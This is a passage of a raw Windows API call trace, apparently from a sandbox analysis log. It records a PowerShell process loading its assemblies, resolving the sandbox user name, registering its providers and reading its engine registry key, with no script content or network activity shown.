lpNameBuffer=0x1b3f2850, nSize=0xed508 | out: lpNameBuffer="YKYD69Q\\aETAdzjz", nSize=0xed508) returned 0x1 [0089.716] CoTaskMemFree (pv=0x1b3f2850) [0089.716] CoTaskMemAlloc (cb=0x204) returned 0x3070c0 [0089.716] GetUserNameW (in: lpBuffer=0x3070c0, pcbBuffer=0xed548 | out: lpBuffer="aETAdzjz", pcbBuffer=0xed548) returned 1 [0089.716] CoTaskMemFree (pv=0x3070c0) [0089.717] ReportEventW (hEventLog=0x1b870008, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x3c299f8*="FileSystem", lpRawData=0x3c29788) returned 1 [0089.718] CoTaskMemAlloc (cb=0x104) returned 0x298460 [0089.718] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x298460, nSize=0x80 | out: lpBuffer="") returned 0x0 [0089.718] CoTaskMemFree (pv=0x298460) [0089.719] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xecde0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0089.719] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xecd30, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0089.719] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xecd30, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0089.720] CoTaskMemAlloc (cb=0x804) returned 0x1b3f2850 [0089.720] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x1b3f2850, nSize=0xed508 | out: lpNameBuffer="YKYD69Q\\aETAdzjz", nSize=0xed508) returned 0x1 [0089.720] CoTaskMemFree (pv=0x1b3f2850) [0089.720] CoTaskMemAlloc (cb=0x204) returned 0x3070c0 [0089.720] GetUserNameW (in: lpBuffer=0x3070c0, pcbBuffer=0xed548 | out: lpBuffer="aETAdzjz", pcbBuffer=0xed548) returned 1 [0089.720] CoTaskMemFree (pv=0x3070c0) [0089.721] ReportEventW (hEventLog=0x1b870008, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x3c2f1e8*="Function", lpRawData=0x3c2ef78) returned 1 [0089.724] CoTaskMemAlloc (cb=0x104) returned 0x298460 [0089.724] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x298460, nSize=0x80 | out: lpBuffer="") returned 0x0 [0089.724] CoTaskMemFree (pv=0x298460) [0089.744] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xecdb0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0089.744] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xecd00, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0089.744] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xecd00, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0089.744] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xecd00, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0089.801] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x1b3f2850, nSize=0xed508 | out: lpNameBuffer="YKYD69Q\\aETAdzjz", nSize=0xed508) returned 0x1 [0089.802] GetUserNameW (in: lpBuffer=0x3070c0, pcbBuffer=0xed548 | out: lpBuffer="aETAdzjz", pcbBuffer=0xed548) returned 1 [0089.802] ReportEventW (hEventLog=0x1b870008, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x2d86678*="Registry", lpRawData=0x2d86408) returned 1 [0089.803] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x1b3f2850, nSize=0xed508 | out: lpNameBuffer="YKYD69Q\\aETAdzjz", nSize=0xed508) returned 0x1 [0089.803] GetUserNameW (in: lpBuffer=0x3070c0, pcbBuffer=0xed548 | out: lpBuffer="aETAdzjz", pcbBuffer=0xed548) returned 1 [0089.804] ReportEventW (hEventLog=0x1b870008, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x2d8ba40*="Variable", lpRawData=0x2d8b7d0) returned 1 [0089.805] CoTaskMemAlloc (cb=0x104) returned 0x298460 [0089.805] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x298460, nSize=0x80 | out: lpBuffer="") returned 0x0 [0089.805] CoTaskMemFree (pv=0x298460) [0089.821] CoTaskMemAlloc (cb=0x104) returned 0x298460 [0089.821] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x298460, nSize=0x80 | out: lpBuffer="") returned 0x0 [0089.821] CoTaskMemFree (pv=0x298460) [0089.823] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", nBufferLength=0x105, lpBuffer=0xecdb0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", lpFilePart=0x0) returned 0x76 [0089.823] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", nBufferLength=0x105, lpBuffer=0xecd00, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", lpFilePart=0x0) returned 0x76 [0089.824] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", nBufferLength=0x105, lpBuffer=0xecd00, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", lpFilePart=0x0) returned 0x76 [0089.824] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", nBufferLength=0x105, lpBuffer=0xecd00, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", lpFilePart=0x0) returned 0x76 [0089.881] CoTaskMemAlloc (cb=0x804) returned 0x1b3f2850 [0089.881] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x1b3f2850, nSize=0xed508 | out: lpNameBuffer="YKYD69Q\\aETAdzjz", nSize=0xed508) returned 0x1 [0089.881] CoTaskMemFree (pv=0x1b3f2850) [0089.881] CoTaskMemAlloc (cb=0x204) returned 0x3070c0 [0089.881] GetUserNameW (in: lpBuffer=0x3070c0, pcbBuffer=0xed548 | out: lpBuffer="aETAdzjz", pcbBuffer=0xed548) returned 1 [0089.881] CoTaskMemFree (pv=0x3070c0) [0089.884] ReportEventW (hEventLog=0x1b870008, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x2d9fb78*="Certificate", lpRawData=0x2d9f908) returned 1 [0089.889] CoTaskMemAlloc (cb=0x104) returned 0x298460 [0089.889] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x298460, nSize=0x80 | out: lpBuffer="") returned 0x0 [0089.889] CoTaskMemFree (pv=0x298460) [0089.892] GetLogicalDrives () returned 0x4 [0089.893] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0xed190, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0089.893] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0089.894] CoTaskMemAlloc (cb=0x20e) returned 0x1b3cadf0 [0089.894] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x1b3cadf0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop") returned 0x19 [0089.894] CoTaskMemFree (pv=0x1b3cadf0) [0089.898] CoTaskMemAlloc (cb=0x104) returned 0x298460 [0089.898] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x298460, nSize=0x80 | out: lpBuffer="") returned 0x0 [0089.898] CoTaskMemFree (pv=0x298460) [0089.898] CoTaskMemAlloc (cb=0x104) returned 0x298460 [0089.898] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x298460, nSize=0x80 | out: lpBuffer="") returned 0x0 [0089.898] CoTaskMemFree (pv=0x298460) [0089.907] CoTaskMemAlloc (cb=0x104) returned 0x298460 [0089.907] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x298460, nSize=0x80 | out: lpBuffer="") returned 0x0 [0089.909] CoTaskMemAlloc (cb=0x104) returned 0x298460 [0089.909] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x298460, nSize=0x80 | out: lpBuffer="") returned 0x0 [0089.909] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\Desktop", nBufferLength=0x105, lpBuffer=0xecef0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop", lpFilePart=0x0) returned 0x19 [0089.909] SetErrorMode (uMode=0x1) returned 0x1 [0089.910] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\Desktop" (normalized: "c:\\users\\aetadzjz\\desktop"), fInfoLevelId=0x0, lpFileInformation=0xed150 | out: lpFileInformation=0xed150*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x2335d4a0, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0xc52cfcb0, ftLastAccessTime.dwHighDateTime=0x1d3afa9, ftLastWriteTime.dwLowDateTime=0xc52cfcb0, ftLastWriteTime.dwHighDateTime=0x1d3afa9, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0089.910] SetErrorMode (uMode=0x1) returned 0x1 [0089.910] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\Desktop", nBufferLength=0x105, lpBuffer=0xecef0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop", lpFilePart=0x0) returned 0x19 [0089.910] SetErrorMode (uMode=0x1) returned 0x1 [0089.910] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\Desktop" (normalized: "c:\\users\\aetadzjz\\desktop"), fInfoLevelId=0x0, lpFileInformation=0xed150 | out: lpFileInformation=0xed150*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x2335d4a0, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0xc52cfcb0, ftLastAccessTime.dwHighDateTime=0x1d3afa9, ftLastWriteTime.dwLowDateTime=0xc52cfcb0, ftLastWriteTime.dwHighDateTime=0x1d3afa9, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0089.910] SetErrorMode (uMode=0x1) returned 0x1 [0089.910] CoTaskMemAlloc (cb=0x104) returned 0x298460 [0089.910] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x298460, nSize=0x80 | out: lpBuffer="") returned 0x0 [0089.914] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\Desktop", nBufferLength=0x105, lpBuffer=0xed090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop", lpFilePart=0x0) returned 0x19 [0089.923] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\Desktop", nBufferLength=0x105, lpBuffer=0xed1b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop", lpFilePart=0x0) returned 0x19 [0089.923] SetErrorMode (uMode=0x1) returned 0x1 [0089.923] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\Desktop" (normalized: "c:\\users\\aetadzjz\\desktop"), fInfoLevelId=0x0, lpFileInformation=0xed410 | out: lpFileInformation=0xed410*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x2335d4a0, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0xc52cfcb0, ftLastAccessTime.dwHighDateTime=0x1d3afa9, ftLastWriteTime.dwLowDateTime=0xc52cfcb0, ftLastWriteTime.dwHighDateTime=0x1d3afa9, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0089.923] SetErrorMode (uMode=0x1) returned 0x1 [0089.968] CoTaskMemAlloc (cb=0x804) returned 0x1b3f2850 [0089.968] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x1b3f2850, nSize=0xed778 | out: lpNameBuffer="YKYD69Q\\aETAdzjz", nSize=0xed778) returned 0x1 [0089.969] CoTaskMemFree (pv=0x1b3f2850) [0089.969] CoTaskMemAlloc (cb=0x204) returned 0x3070c0 [0089.969] GetUserNameW (in: lpBuffer=0x3070c0, pcbBuffer=0xed7b8 | out: lpBuffer="aETAdzjz", pcbBuffer=0xed7b8) returned 1 [0089.969] CoTaskMemFree (pv=0x3070c0) [0089.970] ReportEventW (hEventLog=0x1b870008, wType=0x4, wCategory=0x4, dwEventID=0x190, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x2ddc6d0*="Available", lpRawData=0x2ddc460) returned 1 [0089.972] CoTaskMemAlloc (cb=0x104) returned 0x298460 [0089.972] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x298460, nSize=0x80 | out: lpBuffer="") returned 0x0 [0089.973] CoTaskMemFree (pv=0x298460) [0089.973] CoTaskMemAlloc (cb=0x104) returned 0x298460 [0089.973] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x298460, nSize=0x80 | out: lpBuffer="") returned 0x0 [0089.973] CoTaskMemFree (pv=0x298460) [0089.975] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xed280, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0089.975] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xed1d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0089.975] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xed1d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0090.001] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xed200, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0090.001] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xed150, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0090.002] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xed150, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0090.002] CoTaskMemFree (pv=0x298460) [0090.002] CoTaskMemAlloc (cb=0x104) returned 0x298460 [0090.002] GetEnvironmentVariableW (in: lpName="HomePath", lpBuffer=0x298460, nSize=0x80 | out: lpBuffer="\\Users\\aETAdzjz") returned 0xf [0090.002] CoTaskMemFree (pv=0x298460) [0090.003] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xed200, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0090.003] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xed150, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0090.003] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xed150, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0090.003] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xed200, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0090.003] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xed150, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0090.003] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xed150, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0090.004] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xed200, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0090.004] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xed150, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0090.004] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xed150, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0090.004] GetCurrentProcessId () returned 0xb98 [0090.005] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xed200, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0090.005] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xed150, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0090.005] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xed150, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0090.006] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xed190, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0090.006] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xed0e0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0090.006] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xed0e0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0090.006] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xed190, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0090.006] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xed0e0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0090.006] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xed0e0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0090.007] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xed200, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0090.007] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xed150, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0090.007] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xed150, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0090.007] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0xed798 | out: phkResult=0xed798*=0x330) returned 0x0 [0090.007] RegQueryValueExW (in: hKey=0x330, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0xed71c, lpData=0x0, lpcbData=0xed718*=0x0 | out: lpType=0xed71c*=0x1, lpData=0x0, lpcbData=0xed718*=0x56) returned 0x0 [0090.007] CoTaskMemAlloc (cb=0x5a) returned 0x1b3ce8b0 [0090.007] RegQueryValueExW (in: hKey=0x330, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0xed6ec, lpData=0x1b3ce8b0, lpcbData=0xed6e8*=0x56 | out: lpType=0xed6ec*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0xed6e8*=0x56) returned 0x0 [0090.007] CoTaskMemFree (pv=0x1b3ce8b0) [0090.008] RegCloseKey (hKey=0x330) returned 0x0 [0090.018] CoTaskMemAlloc (cb=0x104) returned 0x298460 [0090.018] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x298460, nSize=0x80 | out: lpBuffer="") returned 0x0 [0090.056] CoTaskMemAlloc (cb=0x104) returned 0x298460 [0090.056] 